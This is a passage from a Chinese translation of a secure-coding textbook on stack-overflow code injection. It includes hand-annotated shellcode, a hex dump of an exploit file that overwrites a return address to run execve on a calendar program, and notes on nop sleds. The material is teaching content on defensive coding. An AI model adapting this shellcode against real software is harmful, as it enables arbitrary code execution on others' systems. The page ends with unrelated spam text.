官术网_书友最值得收藏!

2.3.7 代碼注入

如果由于一個軟件缺陷導致(函數的)返回地址被覆寫,那么被覆寫后的地址很少會指向有效的指令。結果,將控制轉移到該地址通常會引發異常并導致棧混亂。然而,攻擊者也有可能蓄意構造出一個字符串,其中包含一個指向某些惡意代碼的指針,該代碼也由攻擊者提供。當子例程返回時,控制就被轉移到了那段(惡意的)代碼。這樣,惡意代碼就會以與具有該漏洞的程序相同的權限運行。這也是為什么攻擊者通常都以“以root或其他較高權限運行”的程序為目標的原因。惡意代碼可以執行以其他任何形式編程所能執行的功能,不過它們通常只是簡單地在受害機器上開一個遠程shell。鑒于此,被注入的惡意代碼通常也稱為外殼代碼(shellcode)。

任何漏洞利用的主要部分都是惡意參數。一個惡意的參數必須具有如下幾個特征:

·有漏洞的程序必須接受它作為合法的輸入。

·參數,以及其他可控制的輸入,必須導致有漏洞的代碼路徑得到執行。

·參數不能在程序將控制權轉移到shellcode之前導致程序異常中止。

因為調用gets()引起的緩沖區溢出使得IsPasswordOK()程序也可以被利用,來執行任意代碼。gets()函數還具有一個有趣的屬性,它從stdin指向的輸入流讀入字符,直到讀到文件結束符或換行符為止。所有換行符都被丟棄,并立即在讀入到數組的最后一個字符后寫入一個空字符。因此,如果輸入被重定向到一個文件,那么gets()返回的字符串中間有可能嵌入空字符。請注意gets()函數在C99中被廢棄并在C11標準中被去掉(因為兼容性原因,大多數實現似乎都繼續保留gets())。然而,fgets()函數讀入的數據也可能包含空字符。《C安全編碼標準》[Seacord 2008],“FIO37-C.不要假設fgets()在成功執行時返回非空字符串”深入地說明了這個問題。

這一次,我們在Linux上使用GCC編譯IsPasswordOK()程序。惡意參數可以借助下面重定向的方式以二進制數據文件的形式注入到程序中:


% ./BufferOverFlow < exploit.bin

當利用代碼被注入IsPasswordOK()程序時,程序棧被覆寫成下列形式:


01  /* buf[12] */
02  00 00 00 00
03  00 00 00 00
04  00 00 00 00
05  
06  /* %ebp */
07  00 00 00 00
08  
09  /* 
返回地址 */
10  78 fd ff bf
11  
12  /* "/usr/bin/cal" */
13  2f 75 73 72
14  2f 62 69 6e
15  2f 63 61 6c
16  00 00 00 00
17  
18  /* 
空指針 */
19  74 fd ff bf
20  
21  /* NULL */
22  00 00 00 00
23  
24  /* 
利用代碼 */
25  b0 0b       /* mov  $0xb, %eax */
26  8d 1c 24    /* lea  (%esp), %ebx */
27  8d 4c 24 f0 /* lea  -0x10(%esp), %ecx */
28  8b 54 24 ec /* mov  -0x14(%esp), %edx */
29  cd 50       /* int  $0x50 */

本例中使用的lea指令表示“裝載有效地址”(load effective address),lea指令計算第二個操作數(源操作數)的有效地址,并將它存入第一個操作數(目標操作數)。源操作數是用處理器的一種尋址模式指定的一個內存地址(偏移部分),目標操作數是一個通用寄存器。該漏洞利用代碼的工作原理如下所示。

1.第一個mov指令把0xB賦值給%eax寄存器。0xB是系統調用號,在Linux中,代表execve()系統調用。

2.execve()函數調用所必需的3個參數在子序列中被依次設置為3條指令(兩個lea指令和mov指令)。這些參數的值位于棧中,正好在漏洞利用代碼之前。

3.int $0x50指令用于執行execve()系統調用,導致Linux的calendar程序被執行,如圖2.15所示。

圖2.15 Linux calendar程序

緩沖區溢出不影響fgets()調用,但影響strcpy()調用,如下面的IsPasswordOK()程序修訂版所示:


01  char buffer[128];
02  
03  _Bool IsPasswordOK(void) {
04    char Password[12];
05  
06    fgets(buffer, sizeof buffer, stdin);
07    if (buffer[ strlen(buffer) - 1] == '\n')
08      buffer[ strlen(buffer) - 1] = 0;
09    strcpy(Password, buffer);
10    return 0 == strcmp(Password, "goodpass");
11  }
12  
13  int main(void) {
14    _Bool PwStatus;
15   
16    puts("Enter password:");
17    PwStatus = IsPasswordOK();
18    if (!PwStatus) {
19      puts("Access denied");
20      exit(-1);
21    }
22    else
23      puts("Access granted");
24    return 0;
25  }

因為strcpy()函數只復制源字符串(保存在緩沖區中),所以Password數組不可能包含內部空字符。因此,對它的利用更加困難,因為攻擊者必須人工制造任何所需的空字節。

本例中的惡意參數在二進制文件exploit.bin中的內容如下所示。


000: 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36  1234567890123456
010: 37 38 39 30 31 32 33 34 04 fc ff bf 78 78 78 78  78901234....xxxx
020: 31 c0 a3 23 fc ff bf b0 0b bb 27 fc ff bf b9 1f  1..#......'.....
030: fc ff bf 8b 15 23 fc ff bf cd 80 ff f9 ff bf 31  .....#.....'...1
040: 31 31 31 2f 75 73 72 2f 62 69 6e 2f 63 61 6c 0a  111/usr/bin/cal.

這個惡意參數可以通過重定向提供給被利用的程序,如下所示:


%./BufferOverflow < exploit.bin

當strcpy()函數返回時,棧被覆寫為如表2.3所示。

表2.3 因調用strcpy()而損壞的棧

這個利用代碼的工作原理如下所示。

1.二進制數據最開始的16個字節(第1行)填入為密碼所分配的存儲空間中。盡管程序中只為密碼分配了12個字節的空間,但用以編譯程序的GCC版本在棧上為其分配了16個字節的倍數。

2.接下來的12個字節的二進制數據(第2行)填充了編譯器為保持棧按16字節邊界對齊而多分配的12個字節。由于已經分配4字節的函數調用返回地址,因此在這里編譯器只分配12個字節。

3.返回地址被覆蓋(第3行),使得程序執行IsPasswordOK()函數中的return語句返回后可以繼續執行(第4行)。這就導致了棧中保存的代碼被執行(第4~10行)。

4.建立一個0值并且用其作為空終止符結束參數列表(第4行和第5行)。因為利用漏洞的過程中,傳遞給系統調用的參數中必須包含一個以空指針結尾的字符指針列表。由于利用數據中間不能直接包含空字符,因此利用代碼必須創建一個空指針。

5.系統調用號被設為0xB,在Linux中,這代表execve()系統調用(第6行)。

6.execve()函數調用必需的3個參數被依次設置(第7~9行)。

7.這些參數的值位于第12~13行中。

8.執行execve()系統調用,導致Linux的calendar程序被執行(第10行)。

對代碼的逆向工程可以確定在棧幀中從緩沖區到返回地址的精確偏移量,這就允許對注入的外殼代碼進行定位。然而,有時并不需要如此苛刻的條件[Aleph 1996]。例如,返回地址的位置可以通過在一個近似的返回地址范圍內進行多次試驗而得到。假設程序運行在32位架構的機器上,那么返回地址通常都是4字節對齊的。即使返回地址有一定的偏移,也只有4個可能的不同結果。也可以通過在外殼代碼前面加入多個nop指令來估計其位置(常稱為nop橇)。利用代碼僅需要跳轉到nop指令域中的某處,就可以執行外殼代碼了。

大部分現實的棧溢出攻擊都以這種形式發生,即覆蓋返回地址,將控制權轉移到注入的代碼。那種簡單地將返回地址修改跳轉到代碼中其他位置的方式并不常用,部分原因是這些漏洞難以發現(這需要找到可以繞過檢查的程序邏輯),并且對攻擊者而言用處也不大(因為只能獲得對程序本身的控制權而不是執行任意的代碼)。

主站蜘蛛池模板: 沧州市| 丁青县| 额敏县| 岑溪市| 泸州市| 涿鹿县| 新营市| 渝北区| 嘉定区| 化隆| 中卫市| 雅安市| 临朐县| 达日县| 衡阳市| 凤山市| 磐安县| 顺义区| 商丘市| 应用必备| 乌鲁木齐县| 金溪县| 富源县| 绥棱县| 新化县| 太白县| 苏尼特右旗| 武宁县| 汶川县| 乐都县| 高碑店市| 济南市| 平和县| 蓬溪县| 普安县| 鄯善县| 定陶县| 高青县| 沛县| 德兴市| 丹东市|